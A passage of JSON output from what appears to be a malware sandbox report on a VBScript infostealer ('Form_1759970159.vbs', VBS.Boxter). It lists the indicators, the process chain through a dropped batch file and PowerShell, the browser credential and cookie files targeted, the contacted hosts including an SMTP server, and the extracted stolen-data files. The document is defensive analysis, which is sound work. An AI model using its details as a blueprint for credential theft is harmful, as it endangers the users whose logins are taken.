Provider","description":"$5f","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve browser cookies data","description":"Found string \"??\\C:\\Users\\w3WvzRV\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\5xz6ua91.default-release\\cookies.sqlite\" (Indicator: \"cookies.sqlite\"; Source: \"00000000-00001064.00000001.125349.F8A3C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-5058","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"FieldBuilding.bat\" as clean (type is \"ASCII text with very long lines (3035) with CRLF line terminators\"), Antivirus vendors marked dropped file \"__PSScriptPolicyTest_4njm2nfg.iiv.ps1\" as clean (type is \"ASCII text with no line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00001064.00000002.127271.CB760000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RSA algorithm (keys)","description":"YARA signature for RSA public and private key matched on process \"00000000-00001064\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":3,"id":"yara-62","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountSidW\" (Indicator: \"LookupAccountSid\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp\")\n Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00001064.00000002.127271.CB760000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Able to change the configuration parameters of a service","description":"Found string \"ChangeServiceConfigW\" (Indicator: \"changeserviceconfigw\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp, 00000000-00001064.00000002.127271.F8E60000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-10073","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\"\n Found registry deletion API: \"RegDeleteKeyW\" in \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")\n Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"00000000-00001064.00000002.127271.52DFA000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$61","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"Uses .NET dynamic method generation for code execution","description":"Found string \"Anonymously Hosted DynamicMethods Assembly\" (Source: \"00000000-00001064.00000001.125349.F86E0000.00000004.mdmp, 00000000-00001064.00000002.127271.F86E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027.002","relevance":1,"id":"string-993","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"7/26 Antivirus vendors marked sample as malicious (26% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$62","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"System Security","name":"Opens a handle to the specified local process","description":"\"powershell.exe\" opens a process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (UID: 00000000-00001064)","origin":"API Call","mitre_attack_id":"T1489","relevance":1,"id":"api-284","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Command line contains long Base64-encoded string","description":"Commandline contains long base64 encoded string \"CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBjkemhazxgp2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFjkemhazxgpwAYQBvAGMA.......\" in [Source : powershell.exe]","origin":"File/Memory","mitre_attack_id":"T1132","relevance":5,"id":"string-509","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"\"powershell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"powershell.exe\" trying to open a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data\"\n \"powershell.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data\"\n \"powershell.exe\" trying to open a file \"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data\"","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$63","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Stealer/Phishing","details_count":2,"details":[{"detail":"Reads FTP client related files"},{"detail":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Executes WMI queries in order to detect local security applications"},{"detail":"Attempts to identify external IP address"},{"detail":"Queries sensitive IE security settings"},{"detail":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":52,"imported_dlls_count":144,"dropped_files_count":0,"extracted_files_count":19,"files_written_count":33,"files_deleted_count":0,"registry_keys_created_count":38,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":38,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["evasive","infostealer"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"sandbox_reports":[{"id":"699c8e92c2c3e51b0809ddf4","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"VBS.Boxter","contacted_countries":["GBR"],"submit_name":"Form_1759970159.vbs","analysis_start_time":"2026-02-23T17:29:55+00:00","indicators_count":{"informative":210,"suspicious":57,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"68eac00381611856270afe4a","environment_id":140,"environment_description":"Windows 11 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["GBR","USA"],"submit_name":"Form_1759970159.vbs","analysis_start_time":"2025-10-11T20:37:24+00:00","indicators_count":{"informative":194,"suspicious":65,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true},{"id":"68eabff17560fa2a090a2190","environment_id":400,"environment_description":"Mac Catalina 64 bit (x86)","state":"ERROR","error_type":"File \"Form_1759970159.vbs\" was detected as \"vbs\", this format is not supported on MACOSX","verdict":"undetected","submit_name":"Form_1759970159.vbs","analysis_start_time":"2025-10-11T20:37:05+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"68eabfd8a0efefc15c015e86","environment_id":200,"environment_description":"Android Static Analysis","state":"ERROR","error_type":"File \"Form_1759970159.vbs\" was detected as \"vbs\", this format is not supported on ANDROID","verdict":"undetected","submit_name":"Form_1759970159.vbs","analysis_start_time":"2025-10-11T20:36:40+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"68eabfb62cd24c0b3009a271","environment_id":310,"environment_description":"Linux (Ubuntu 20.04, 64 bit)","state":"ERROR","error_type":"File \"Form_1759970159.vbs\" was detected as \"vbs\", this format is not supported on LINUX","verdict":"undetected","submit_name":"Form_1759970159.vbs","analysis_start_time":"2025-10-11T20:36:06+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"68e9234cb8d7b6643c00d9ad","environment_id":310,"environment_description":"Linux (Ubuntu 20.04, 64 bit)","state":"ERROR","error_type":"File \"Form_1759970159.vbs\" was detected as \"vbs\", this format is not supported on LINUX","verdict":"undetected","submit_name":"Form_1759970159.vbs","analysis_start_time":"2025-10-10T15:16:28+00:00","indicators_count":{"informative":0,"suspicious":0,"malicious":0},"is_in_unified_schema":false},{"id":"68e8a1339296a742440ab48a","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["GBR","USA"],"submit_name":"Form_1759970159.vbs","analysis_start_time":"2025-10-10T06:01:24+00:00","indicators_count":{"informative":158,"suspicious":61,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files","User Comment"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"104.16.184.241","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"address":"146.70.23.218","port":587,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"address":"104.16.185.241","port":80,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]}],"dns_resolutions":[{"domain":"icanhazip.com","address":"104.16.184.241","ttl":300,"country":"United States","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"domain":"mail.clarsachsociety.co.uk","address":"146.70.23.218","ttl":300,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]}],"http_requests":[{"host":"icanhazip.com","host_ip":"104.16.184.241:80","url":"/","method":"GET","response_code":"200","response_phrase":"OK","header":"GET / HTTP/1.1\nHost: icanhazip.com\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}],"processes":[{"pid":5700,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\Form_1759970159.vbs\"","sha256":"7478b567c9ec9a1e1061f9c6db2993fcdc2ec4e8fb5ca6da80fa307b54116e69","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00005700","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":524,"ppid":0,"name":"cmd.exe","command_line":"/c C:\\\\Users\\\\Public\\\\FieldBuilding.bat","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","uid":"00000000-00000524","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABKElEQVR4Xs2RCxKDIAxEPbpH82a2yxgbtxsEDNO+mQzIJ7zEZXGs67pnh89/Cy5k8hcCXRIzBLZta5eYIQCaJWYJgCaJmoD9z5bwd/iNKpFASURr6htVWi7aPvFnvlACtrZAQkTZ2z+JrQuYuzQnXQKqcoYfx9wCa3y+WwBw1RYgejySGBKIqFWfKsCVRx3gfMDn8+clkQBjWX0H/H6NLgFQKtvbunC9qRkSAL5qNbZKdAuAU0J0oMRxrkViSABkdWJYAGR04pEAeNqJFAF+LBqVxLAA9u6iJDnOY0wTiNa5UpZIEShJedHhHwfpHVCJ/XipPtg7Pi9rkkiAE/OoJNTjfl2iBADWcbEW5fE39o055wFDAoDP3sH3jWGBLP5fgP/tjOB3f8oL77sC8VhaSzEAAAAASUVORK5CYII="},{"pid":8436,"ppid":524,"name":"cmd.exe","command_line":"cmd /c start \"\" /min \"%PUBLIC%\\FieldBuilding.bat\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00000000-00000524","uid":"00000000-00008436"},{"pid":3800,"ppid":8436,"name":"cmd.exe","command_line":"/K \"%PUBLIC%\\FieldBuilding.bat\"","sha256":"423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00008436","uid":"00000000-00003800"},{"pid":5280,"ppid":3800,"name":"powershell.exe","command_line":"$64","sha256":"d436e66c0d092508e4b85290815ab375695fa9013c7423a3a27fed4f1acf90bd","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003800","uid":"00000000-00005280"}],"all_imported_dlls":["atl.dll","System.Data.ni.dll","ole32.dll","WinTypes.dll","Microsoft.Management.Infrastructure.ni.dll","System.Web.dll","System.Runtime.Serialization.ni.dll","rasman.dll","scrrun.dll","uxtheme.dll","ucrtbase_clr0400.dll","rpcrt4.dll","crypt32.dll","wbemdisp.dll","System.Transactions.ni.dll","version.dll","VxSSL64.dll","System.Transactions.dll","NapiNSP.dll","winrnr.dll","bcrypt.dll","System.Data.dll","System.Drawing.ni.dll","System.Windows.Forms.ni.dll","WMINet_Utils.dll","userenv.dll","wintrust.dll","scrobj.dll","gdi32.dll","msisip.dll","wbemcomn.dll","win32u.dll","MpOAV.dll","ntmarta.dll","wshbth.dll","rtutils.dll","System.Management.ni.dll","System.Configuration.Install.ni.dll","comctl32.dll","netutils.dll","webengine4.dll","dhcpcsvc6.dll","ws2_32.dll","bcryptprimitives.dll","clbcatq.dll","gpapi.dll","System.ni.dll","oleaut32.dll","msctf.dll","iertutil.dll","rsaenh.dll","Microsoft.IIS.Powershell.Commands.ni.dll","dnsapi.dll","urlmon.dll","kernel32.dll","shell32.dll","Fg139z2v.dll","wbemsvc.dll","System.Core.ni.dll","propsys.dll","imm32.dll","fltLib.dll","cryptbase.dll","winnsi.dll","ntdll.dll","KernelBase.dll","combase.dll","cryptsp.dll","windows.storage.dll","mswsock.dll","rasadhlp.dll","amsi.dll","profapi.dll","clr.dll","SHCore.dll","System.Configuration.ni.dll","sspicli.dll","IPHLPAPI.DLL","winhttp.dll","msvcrt.dll","wldp.dll","msasn1.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","System.Net.Http.ni.dll","schannel.dll","user32.dll","mscoree.dll","System.Management.Automation.ni.dll","AppxSip.dll","secur32.dll","srvcli.dll","dpapi.dll","prxyqry.dll","sechost.dll","diasymreader.dll","dhcpcsvc.dll","ncryptsslp.dll","ucrtbase.dll","sxs.dll","MpClient.dll","mscorlib.ni.dll","nsi.dll","FWPUCLNT.DLL","msvcp_win.dll","pwrshsip.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","Microsoft.Management.Infrastructure.Native.ni.dll","shlwapi.dll","mscoreei.dll","psapi.dll","Microsoft.PowerShell.Security.ni.dll","virtdisk.dll","vcruntime140_1_clr0400.dll","System.Xml.ni.dll","ntasn1.dll","wbemprox.dll","clrjit.dll","pnrpnsp.dll","nlansp_c.dll","rasapi32.dll","ncrypt.dll","gdi32full.dll","kernel.appcore.dll","wshext.dll","cmdext.dll","advapi32.dll","wmiutils.dll","fastprox.dll","vcruntime140_clr0400.dll","System.DirectoryServices.ni.dll","OnDemandConnRouteHelper.dll","vbscript.dll","Microsoft.PowerShell.Commands.Management.ni.dll","cfgmgr32.dll","nlaapi.dll","dwmapi.dll","coml2.dll","sppc.dll","mskeyprotect.dll","powrprof.dll","5u2xMeZl.dll","System.Numerics.ni.dll","slc.dll","cvWuyvO6.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"FieldBuilding.bat","sha256":"e84ed6e35c7dda60c667e454867550c963b4b2b62478f14d11c55f18a2cb1dab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"name":"ModuleAnalysisCache","sha256":"204658120cde4cea8c2f31af2750edc349d1c88fd4ad44345410b490e608eb3a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"Chromium_cookies_PREGjB55ZdRvb6m_2025-10-11_20.43.41.json","sha256":"b418268f9775398b28fbe5d31b1e3f15c4ae96024d5475c70bc8654f239b2c5d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"FileZilla_PREGjB55ZdRvb6m_2025-10-11_20.46.20.txt","sha256":"e4fb0244a8cbdf0ba1074900154a5792a359a13d22de8c41fcd47676fcf326d0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"Gecko_cookies_PREGjB55ZdRvb6m_2025-10-11_20.46.20.json","sha256":"3ad147c669541da0ab71c6565b7c79348e6680581f6dfc196f5456d0b83ffb07","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"__PSScriptPolicyTest_1f3jov3m.icd.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"__PSScriptPolicyTest_fya3b455.tt3.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"__PSScriptPolicyTest_k1fbvpen.52z.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"__PSScriptPolicyTest_x4vqxuu2.sy5.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"name":"powershell.exe","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"Chromium_cookies_JWTWnTlCnQ45w33_2025-10-10_06.07.08.json","sha256":"95aee89ab127c1a5feacb5b629f4e4f44481dc636f08229dc888eb6f7c38a11b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"FileZilla_JWTWnTlCnQ45w33_2025-10-10_06.09.53.txt","sha256":"3035540dd23117677eb977ede753af432f5fda463f2ec396b42403e2f453fd5a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"Gecko_cookies_JWTWnTlCnQ45w33_2025-10-10_06.09.53.json","sha256":"8fbe659c4316c0729f02eb0e8d359cf98d42914781d84761b3d6f67fbcb4b649","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"aoc.bat","sha256":"e84ed6e35c7dda60c667e454867550c963b4b2b62478f14d11c55f18a2cb1dab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"name":"__PSScriptPolicyTest_4njm2nfg.iiv.